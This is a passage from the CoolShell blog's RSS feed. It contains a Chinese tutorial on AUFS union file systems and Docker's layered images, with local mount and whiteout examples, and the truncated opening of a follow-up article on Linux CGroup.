src=\"https://coolshell.cn/wp-content/uploads/2015/04/jail_cell-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（下）</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17200.html\">Docker基础技术：DeviceMapper</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17200.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>25</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Docker基础技术：AUFS</title>\n\t\t<link>https://coolshell.cn/articles/17061.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17061.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 24 Aug 2015 00:01:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[AUFS]]></category>\n\t\t<category><![CDATA[Docker]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[UnionFS]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17061</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>AUFS是一种Union File System，所谓UnionFS就是把不同物理位置的目录合并mount到同一个目录中。UnionFS的一个最主要的应用是，把...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17061.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-17194\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-300x225.png\" alt=\"docker-filesystems-busyboxrw\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-300x225.png 300w, https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-768x576.png 768w, https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-360x270.png 360w, https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw.png 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a>AUFS是一种Union File System，所谓UnionFS就是把不同物理位置的目录合并mount到同一个目录中。UnionFS的一个最主要的应用是，把一张CD/DVD和一个硬盘目录给联合 mount在一起，然后，你就可以对这个只读的CD/DVD上的文件进行修改（当然，修改的文件存于硬盘上的目录里）。</p>\n<p>AUFS又叫Another UnionFS，后来叫Alternative UnionFS，后来可能觉得不够霸气，叫成Advance UnionFS。是个叫Junjiro Okajima（岡島順治郎）在2006年开发的，AUFS完全重写了早期的UnionFS 1.x，其主要目的是为了可靠性和性能，并且引入了一些新的功能，比如可写分支的负载均衡。AUFS在使用上全兼容UnionFS，而且比之前的UnionFS在稳定性和性能上都要好很多，后来的UnionFS 2.x开始抄AUFS中的功能。但是他居然没有进到Linux主干里，就是因为Linus不让，基本上是因为代码量比较多，而且写得烂（相对于只有3000行的union mount和10000行的UnionFS，以及其它平均下来只有6000行代码左右的VFS，AUFS居然有30000行代码），所以，岡島不断地改进代码质量，不断地提交，不断地被Linus拒掉，所以，到今天AUFS都还进不了Linux主干（今天你可以看到AUFS的代码其实还好了，比起OpenSSL好N倍，要么就是Linus对代码的质量要求非常高，要么就是Linus就是不喜欢AUFS）。</p>\n<p>不过，好在有很多发行版都用了AUFS，比如：Ubuntu 10.04，Debian6.0, Gentoo Live CD支持AUFS，所以，也OK了。</p>\n<p>好了，扯完这些闲话，我们还是看一个示例吧（环境：Ubuntu 14.04）</p>\n<p><span id=\"more-17061\"></span></p>\n<p>首先，我们建上两个目录（水果和蔬菜），并在这两个目录中放上一些文件，水果中有苹果和蕃茄，蔬菜有胡萝卜和蕃茄。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ tree\n.\n├── fruits\n│   ├── apple\n│   └── tomato\n└── vegetables\n    ├── carrots\n    └── tomato\n\n</pre>\n<p>然后，我们输入以下命令：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># 创建一个mount目录\n$ mkdir mnt\n\n# 把水果目录和蔬菜目录union mount到 ./mnt目录中\n$ sudo mount -t aufs -o dirs=./fruits:./vegetables none ./mnt\n\n#  查看./mnt目录\n$ tree ./mnt\n./mnt\n├── apple\n├── carrots\n└── tomato</pre>\n<p>我们可以看到在./mnt目录下有三个文件，苹果apple、胡萝卜carrots和蕃茄tomato。水果和蔬菜的目录被union到了./mnt目录下了。</p>\n<p>我们来修改一下其中的文件内容：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ echo mnt &gt; ./mnt/apple\n$ cat ./mnt/apple\nmnt\n$ cat ./fruits/apple\nmnt</pre>\n<p>上面的示例，我们可以看到./mnt/apple的内容改了，./fruits/apple的内容也改了。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ echo mnt_carrots &gt; ./mnt/carrots\n$ cat ./vegetables/carrots \n\n$ cat ./fruits/carrots\nmnt_carrots\n</pre>\n<p>上面的示例，我们可以看到，我们修改了./mnt/carrots的文件内容，./vegetables/carrots并没有变化，反而是./fruits/carrots的目录中出现了carrots文件，其内容是我们在./mnt/carrots里的内容。</p>\n<p>也就是说，我们在mount aufs命令中，我们没有指它vegetables和fruits的目录权限，默认上来说，命令行上第一个（最左边）的目录是可读可写的，后面的全都是只读的。（一般来说，最前面的目录应该是可写的，而后面的都应该是只读的）</p>\n<p>所以，如果我们像下面这样指定权限来mount aufs，你就会发现有不一样的效果（记得先把上面./fruits/carrots的文件删除了）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sudo mount -t aufs -o dirs=./fruits=rw:./vegetables=rw none ./mnt\n\n$ echo &quot;mnt_carrots&quot; &gt; ./mnt/carrots \n\n$ cat ./vegetables/carrots\nmnt_carrots\n\n$ cat ./fruits/carrots\ncat: ./fruits/carrots: No such file or directory</pre>\n<p>现在，在这情况下，如果我们要修改./mnt/tomato这个文件，那么究竟是哪个文件会被改写？</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ echo &quot;mnt_tomato&quot; &gt; ./mnt/tomato \n\n$ cat ./fruits/tomato\nmnt_tomato\n\n$ cat ./vegetables/tomato\nI am a vegetable</pre>\n<p>可见，如果有重复的文件名，在mount命令行上，越往前的就优先级越高。</p>\n<p>你可以用这个例子做一些各种各样的试验，我这里主要是给大家一个感性认识，就不展开试验下去了。</p>\n<p>那么，这种UnionFS有什么用？</p>\n<p>历史上，有一个叫<a href=\"http://zh.wikipedia.org/wiki/Knoppix\" target=\"_blank\">Knoppix的Linux发行版</a>，其主要用于Linux演示、光盘教学、系统急救，以及商业产品的演示，不需要硬盘安装，直接把CD/DVD上的image运行在一个可写的存储设备上（比如一个U盘上），其实，也就是把CD/DVD这个文件系统和USB这个可写的系统给联合mount起来，这样你对CD/DVD上的image做的任何改动都会在被应用在U盘上，于是乎，你可以对CD/DVD上的内容进行任意的修改，因为改动都在U盘上，所以你改不坏原来的东西。</p>\n<p>我们可以再发挥一下想像力，你也可以把一个目录，比如你的源代码，作为一个只读的template，和另一个你的working directory给union在一起，然后你就可以做各种修改而不用害怕会把源代码改坏了。有点像一个ad hoc snapshot。</p>\n<p>Docker把UnionFS的想像力发挥到了容器的镜像。你是否还记得我在<a title=\"Docker基础技术：Linux Namespace（上）\" href=\"https://coolshell.cn/articles/17010.html\" target=\"_blank\">介绍Linux Namespace上篇</a>中用mount namespace和chroot山寨了一镜像。现在当你看过了这个UnionFS的技术后，你是不是就明白了，你完全可以用UnionFS这样的技术做出分层的镜像来。</p>\n<p>下图来自Docker的官方文档<a href=\"http://docs.docker.com/terms/layer/\" target=\"_blank\">Layer</a>，其很好的展示了Docker用UnionFS搭建的分层镜像。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17064\" src=\"https://coolshell.cn/wp-content/uploads/2015/04/docker-filesystems-multilayer.png\" alt=\"docker-filesystems-multilayer\" width=\"500\" height=\"375\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/04/docker-filesystems-multilayer.png 800w, https://coolshell.cn/wp-content/uploads/2015/04/docker-filesystems-multilayer-300x225.png 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>关于docker的分层镜像，除了aufs，docker还支持btrfs, devicemapper和vfs，你可以使用 -s 或 &#8211;storage-driver= 选项来指定相关的镜像存储。在Ubuntu 14.04下，docker默认Ubuntu的 aufs（在CentOS7下，用的是devicemapper，关于devicemapper，我会以以后的文章中讲解）你可以在下面的目录中查看相关的每个层的镜像：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">/var/lib/docker/aufs/diff/&lt;id&gt; </code></p>\n<p>在docker执行起来后（比如：docker run -it ubuntu /bin/bash ），你可以从/sys/fs/aufs/si_[id]目录下查看aufs的mount的情况，下面是个示例：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">#ls /sys/fs/aufs/si_b71b209f85ff8e75/\nbr0      br2      br4      br6      brid1    brid3    brid5    xi_path\nbr1      br3      br5      brid0    brid2    brid4    brid6 \n\n# cat /sys/fs/aufs/si_b71b209f85ff8e75/*\n/var/lib/docker/aufs/diff/87315f1367e5703f599168d1e17528a0500bd2e2df7d2fe2aaf9595f3697dbd7=rw\n/var/lib/docker/aufs/diff/87315f1367e5703f599168d1e17528a0500bd2e2df7d2fe2aaf9595f3697dbd7-init=ro+wh\n/var/lib/docker/aufs/diff/d0955f21bf24f5bfffd32d2d0bb669d0564701c271bc3dfc64cfc5adfdec2d07=ro+wh\n/var/lib/docker/aufs/diff/9fec74352904baf5ab5237caa39a84b0af5c593dc7cc08839e2ba65193024507=ro+wh\n/var/lib/docker/aufs/diff/a1a958a248181c9aa6413848cd67646e5afb9797f1a3da5995c7a636f050f537=ro+wh\n/var/lib/docker/aufs/diff/f3c84ac3a0533f691c9fea4cc2ceaaf43baec22bf8d6a479e069f6d814be9b86=ro+wh\n/var/lib/docker/aufs/diff/511136ea3c5a64f264b78b5433614aec563103b4d4702f3ba7d4d2698e22c158=ro+wh\n64\n65\n66\n67\n68\n69\n70\n/run/shm/aufs.xino</pre>\n<p>你会看到只有最顶上的层（branch）是rw权限，其它的都是ro+wh权限只读的。</p>\n<p>关于docker的aufs的配置，你可以在/var/lib/docker/repositories-aufs这个文件中看到。</p>\n<h4>AUFS的一些特性</h4>\n<p>AUFS有所有Union FS的特性，把多个目录，合并成同一个目录，并可以为每个需要合并的目录指定相应的权限，实时的添加、删除、修改已经被mount好的目录。而且，他还能在多个可写的branch/dir间进行负载均衡。</p>\n<p>上面的例子，我们已经看到AUFS的mount的示例了。下面我们来看一看被union的目录（分支）的相关权限：</p>\n<ul>\n<li>rw表示可写可读read-write。</li>\n<li>ro表示read-only，如果你不指权限，那么除了第一个外ro是默认值，对于ro分支，其永远不会收到写操作，也不会收到查找whiteout的操作。</li>\n<li>rr表示real-read-only，与read-only不同的是，rr标记的是天生就是只读的分支，这样，AUFS可以提高性能，比如不再设置inotify来检查文件变动通知。</li>\n</ul>\n<p>权限中，我们看到了一个术语：whiteout，下面我来解释一下这个术语。</p>\n<p>一般来说ro的分支都会有wh的属性，比如 &#8220;[dir]=ro+wh&#8221;。所谓whiteout的意思，如果在union中删除的某个文件，实际上是位于一个readonly的分支（目录）上，那么，在mount的union这个目录中你将看不到这个文件，但是read-only这个层上我们无法做任何的修改，所以，我们就需要对这个readonly目录里的文件作whiteout。AUFS的whiteout的实现是通过在上层的可写的目录下建立对应的whiteout隐藏文件来实现的。</p>\n<p>看个例子：</p>\n<p>假设我们有三个目录和文件如下所示（test是个空目录）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># tree\n.\n├── fruits\n│   ├── apple\n│   └── tomato\n├── test\n└── vegetables\n    ├── carrots\n    └── tomato</pre>\n<p>我们如下mount：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># mkdir mnt\n\n# mount -t aufs -o dirs=./test=rw:./fruits=ro:./vegetables=ro none ./mnt\n\n# # ls ./mnt/\napple  carrots  tomato </pre>\n<p>现在我们在权限为rw的test目录下建个whiteout的隐藏文件.wh.apple，你就会发现./mnt/apple这个文件就消失了:</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"> # touch ./test/.wh.apple\n\n# ls ./mnt\ncarrots  tomato</pre>\n<p>上面这个操作和 rm ./mnt/apple是一样的。</p>\n<h5>相关术语</h5>\n<p><b>Branch</b> – 就是各个要被union起来的目录（就是我在上面使用的dirs的命令行参数）</p>\n<ul>\n<li>Branch根据被union的顺序形成一个stack，一般来说最上面的是可写的，下面的都是只读的。</li>\n<li>Branch的stack可以在被mount后进行修改，比如：修改顺序，加入新的branch，或是删除其中的branch，或是直接修改branch的权限</li>\n</ul>\n<p><b>Whiteout</b> 和 <b>Opaque</b></p>\n<ul>\n<li>如果UnionFS中的某个目录被删除了，那么就应该不可见了，就算是在底层的branch中还有这个目录，那也应该不可见了。</li>\n</ul>\n<ul>\n<li>Whiteout就是某个上层目录覆盖了下层的相同名字的目录。用于隐藏低层分支的文件，也用于阻止readdir进入低层分支。</li>\n</ul>\n<ul>\n<li>Opaque的意思就是不允许任何下层的某个目录显示出来。</li>\n</ul>\n<ul>\n<li>在隐藏低层档的情况下，whiteout的名字是’.wh.&lt;filename&gt;’。</li>\n</ul>\n<ul>\n<li>在阻止readdir的情况下，名字是’.wh..wh..opq’或者 ’.wh.__dir_opaque’。</li>\n</ul>\n<h5>相关问题</h5>\n<p>看到上面这些，你一定会有几个问题：</p>\n<p><strong>其一、你可能会问，要有文件在原来的地方被修改了会怎么样？</strong>mount的目录会一起改变吗？答案是会的，也可以是不会的。因为你可以指定一个叫udba的参数（全称：User’s Direct Branch Access），这个参数有三个取值：</p>\n<ul>\n<li><strong>udba=none</strong> – 设置上这个参数后，AUFS会运转的更快，因为那些不在mount目录里发生的修改，aufs不会同步过来了，所以会有数据出错的问题。</li>\n<li><strong>udba=reval</strong> – 设置上这个参数后，AUFS会去查文件有没有被更新，如果有的话，就会把修改拉到mount目录内。</li>\n<li><strong>udba=notify</strong> – 这个参数会让AUFS为所有的branch注册inotify，这样可以让AUFS在更新文件修改的性能更高一些。</li>\n</ul>\n<p><strong>其二、如果有多个rw的branch（目录）被union起来了，那么，当我创建文件的时候，aufs会创建在哪里呢？</strong> aufs提供了一个叫create的参数可以供你来配置相当的创建策略，下面有几个例子。</p>\n<p><strong>create=rr | round−robin</strong> 轮询。下面的示例可以看到，新创建的文件轮流写到三个目录中</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nhchen$ sudo mount -t aufs  -o dirs=./1=rw:./2=rw:./3=rw -o create=rr none ./mnt\nhchen$ touch ./mnt/a ./mnt/b ./mnt/c\nhchen$ tree\n.\n├── 1\n│   └── a\n├── 2\n│   └── c\n└── 3\n    └── b</pre>\n<p><strong>create=mfs[:second] | most−free−space[:second]</strong> 选一个可用空间最好的分支。可以指定一个检查可用磁盘空间的时间。</p>\n<p><strong>create=mfsrr:low[:second]</strong> 选一个空间大于low的branch，如果空间小于low了，那么aufs会使用 round-robin 方式。</p>\n<p>更多的关于AUFS的细节使用参数，大家可以直接在Ubuntu 14.04下通过<a href=\"http://aufs.sourceforge.net/aufs3/man.html\" target=\"_blank\"> man aufs </a>来看一下其中的各种参数和命令。</p>\n<h4>AUFS的性能</h4>\n<p>AUFS的性能慢吗？也慢也不慢。因为AUFS会把所有的分支mount起来，所以，在查找文件上是比较慢了。因为它要遍历所有的branch。是个O(n)的算法（很明显，这个算法有很大的改进空间的）所以，branch越多，查找文件的性能也就越慢。但是，一旦AUFS找到了这个文件的inode，那后以后的读写和操作原文件基本上是一样的。</p>\n<p>所以，如果你的程序跑在在AUFS下，open和stat操作会有明显的性能下降，branch越多，性能越差，但是在write/read操作上，性能没有什么变化。</p>\n<p>IBM的研究中心对Docker的性能给了一份非常不错的性能报告（PDF）《<a href=\"http://domino.research.ibm.com/library/cyberdig.nsf/papers/0929052195DD819C85257D2300681E7B/$File/rc25482.pdf\" target=\"_blank\">An Updated Performance Comparison of Virtual Machinesand Linux Containers</a>》</p>\n<p>我截了两张图出来，第一张是顺序读写，第二张是随机读写。基本没有什么性能损失的问题。而KVM在随机读写的情况也就有点慢了（但是，如果硬盘是SSD的呢？）</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2015/08/docker.seq_.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17191\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker.seq_.jpg\" alt=\"\" width=\"368\" height=\"256\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/docker.seq_.jpg 368w, https://coolshell.cn/wp-content/uploads/2015/08/docker.seq_-300x209.jpg 300w\" sizes=\"(max-width: 368px) 100vw, 368px\" /></a></p>\n<p>&nbsp;</p>\n<p style=\"text-align: center;\"><strong>顺序读写</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2015/08/docker.rand_.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17190\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker.rand_.jpg\" alt=\"\" width=\"363\" height=\"236\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/docker.rand_.jpg 363w, https://coolshell.cn/wp-content/uploads/2015/08/docker.rand_-300x195.jpg 300w\" sizes=\"(max-width: 363px) 100vw, 363px\" /></a></p>\n<p>&nbsp;</p>\n<p style=\"text-align: center;\"><strong>随机读写</strong></p>\n<h4>延伸阅读</h4>\n<ul>\n<li><a href=\"http://www.linuxjournal.com/article/7714\" target=\"_blank\">Introduce UnionFS</a></li>\n<li><a href=\"http://lwn.net/Articles/325369/\" target=\"_blank\">Union file systems: Implementations, part I</a></li>\n<li><a href=\"http://lwn.net/Articles/327738/\" target=\"_blank\">Union file systems: Implementations, part 2</a></li>\n<li><a href=\"http://lwn.net/Articles/403012/\" target=\"_blank\">Another union filesystem approach</a></li>\n<li><a href=\"http://lwn.net/Articles/324291/\" target=\"_blank\">Unioning file systems: Architecture, features, and design choices</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/17200.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg\" alt=\"Docker基础技术：DeviceMapper\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17200.html\" class=\"wp_rp_title\">Docker基础技术：DeviceMapper</a></li><li ><a href=\"https://coolshell.cn/articles/17049.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/filter-150x150.png\" alt=\"Docker基础技术：Linux CGroup\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17049.html\" class=\"wp_rp_title\">Docker基础技术：Linux CGroup</a></li><li ><a href=\"https://coolshell.cn/articles/17010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/isolation-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17010.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（上）</a></li><li ><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/jail_cell-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（下）</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17061.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>42</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Docker基础技术：Linux CGroup</title>\n\t\t<link>https://coolshell.cn/articles/17049.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17049.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 17 Apr 2015 01:03:57 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[cgroup]]></category>\n\t\t<category><![CDATA[Docker]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17049</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前面，我们介绍了Linux Namespace，但是Namespace解决的问题主要是环境隔离的问题，这只是虚拟化中最最基础的一步，我们还需要解决对计算机资源使...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17049.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17049.html\">Docker基础技术：Linux CGroup</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2015/04/filter.png\" alt=\"filter\" width=\"224\" height=\"225\" class=\"alignright size-full wp-image-17097\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/04/filter.png 224w, https://coolshell.cn/wp-content/uploads/2015/04/filter-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2015/04/filter-200x200.png 200w\" sizes=\"(max-width: 224px) 100vw, 224px\" />前面，我们介绍了<a title=\"Docker基础技术：Linux Namespace\" href=\"https://coolshell.cn/articles/17010.html\" target=\"_blank\">Linux Namespace</a>，但是Namespace解决的问题主要是环境隔离的问题，这只是虚拟化中最最基础的一步，我们还需要解决对计算机资源使用上的隔离。也就是说，虽然你通过Namespace把我Jail到一个特定的环境中去了，但是我在其中的进程使用用CPU、内存、磁盘等这些计算资源其实还是可以随心所欲的。所以，我们希望对进程进行资源利用上的限制或控制。这就是Linux CGroup出来了的原因。</p>\n<p>Linux CGroup全称Linux Control Group， 是Linux内核的一个功能，用来限制，控制与分离一个进程组群的资源（如CPU、内存、磁盘输入输出等）。这个项目最早是由Google的工程师在2006年发起（主要是Paul Menage和Rohit Seth），最早的名称为进程容器（process containers）。在2007年时，因为在Linux内核中，容器（container）这个名词太过广泛，为避免混乱，被重命名为cgroup，并且被合并到2.6.24版的内核中去。然后，其它开始了他的发展。</p>\n<p>Linux CGroupCgroup 可​​​让​​​您​​​为​​​系​​​统​​​中​​​所​​​运​​​行​​​任​​​务​​​（进​​​程​​​）的​​​用​​​户​​​定​​​义​​​组​​​群​​​分​​​配​​​资​​​源​​​ &#8212; 比​​​如​​​ CPU 时​​​间​​​、​​​系​​​统​​​内​​​存​​​、​​​网​​​络​​​带​​​宽​​​或​​​者​​​这​​​些​​​资​​​源​​​的​​​组​​​合​​​。​​​您​​​可​​​以​​​监​​​控​​​您​​​配​​​置​​​的​​​ cgroup，拒​​​绝​​​ cgroup 访​​​问​​​某​​​些​​​资​​​源​​​，甚​​​至​​​在​​​运​​​行​​​的​​​系​​​统​​​中​​​动​​​态​​​配​​​置​​​您​​​的​​​ cgroup。</p>\n<p>主要提供了如下功能：</p>\n<p><span id=\"more-17049\"></span></p>\n<ul>\n<li><strong>Resource limitation</strong>: 限制资源使用，比如内存使用上限以及文件系统的缓存限制。</li>\n<li><strong>Prioritization</strong>: 优先级控制，比如：CPU利用和磁盘IO吞吐。</li>\n<li><strong>Accounting</strong>: 一些审计或一些统计，主要目的是为了计费。</li>\n<li><strong>Control</strong>: 挂起进程，恢复执行进程。</li>\n</ul>\n<p>使​​​用​​​ cgroup，系​​​统​​​管​​​理​​​员​​​可​​​更​​​具​​​体​​​地​​​控​​​制​​​对​​​系​​​统​​​资​​​源​​​的​​​分​​​配​​​、​​​优​​​先​​​顺​​​序​​​、​​​拒​​​绝​​​、​​​管​​​理​​​和​​​监​​​控​​​。​​​可​​​更​​​好​​​地​​​根​​​据​​​任​​​务​​​和​​​用​​​户​​​分​​​配​​​硬​​​件​​​资​​​源​​​，提​​​高​​​总​​​体​​​效​​​率​​​。</p>\n<p>在实践中，系统管理员一般会利用CGroup做下面这些事（有点像为某个虚拟机分配资源似的）：</p>\n<ul>\n<li>隔离一个进程集合（比如：nginx的所有进程），并限制他们所消费的资源，比如绑定CPU的核。</li>\n<li>为这组进程 分配其足够使用的内存</li>\n<li>为这组进程分配相应的网络带宽和磁盘存储限制</li>\n<li>限制访问某些设备（通过设置设备的白名单）</li>\n</ul>\n<p>那么CGroup是怎么干的呢？我们先来点感性认识吧。</p>\n<p>首先，Linux把CGroup这个事实现成了一个file system，你可以mount。在我的Ubuntu 14.04下，你输入以下命令你就可以看到cgroup已为你mount好了。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">hchen@ubuntu:~$ mount -t cgroup\ncgroup on /sys/fs/cgroup/cpuset type cgroup (rw,relatime,cpuset)\ncgroup on /sys/fs/cgroup/cpu type cgroup (rw,relatime,cpu)\ncgroup on /sys/fs/cgroup/cpuacct type cgroup (rw,relatime,cpuacct)\ncgroup on /sys/fs/cgroup/memory type cgroup (rw,relatime,memory)\ncgroup on /sys/fs/cgroup/devices type cgroup (rw,relatime,devices)\ncgroup on /sys/fs/cgroup/freezer type cgroup (rw,relatime,freezer)\ncgroup on /sys/fs/cgroup/blkio type cgroup (rw,relatime,blkio)\ncgroup on /sys/fs/cgroup/net_prio type cgroup (rw,net_prio)\ncgroup on /sys/fs/cgroup/net_cls type cgroup (rw,net_cls)\ncgroup on /sys/fs/cgroup/perf_event type cgroup (rw,relatime,perf_event)\ncgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,relatime,hugetlb)</pre>\n<p>或者使用lssubsys命令：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ lssubsys  -m\ncpuset /sys/fs/cgroup/cpuset\ncpu /sys/fs/cgroup/cpu\ncpuacct /sys/fs/cgroup/cpuacct\nmemory /sys/fs/cgroup/memory\ndevices /sys/fs/cgroup/devices\nfreezer /sys/fs/cgroup/freezer\nblkio /sys/fs/cgroup/blkio\nnet_cls 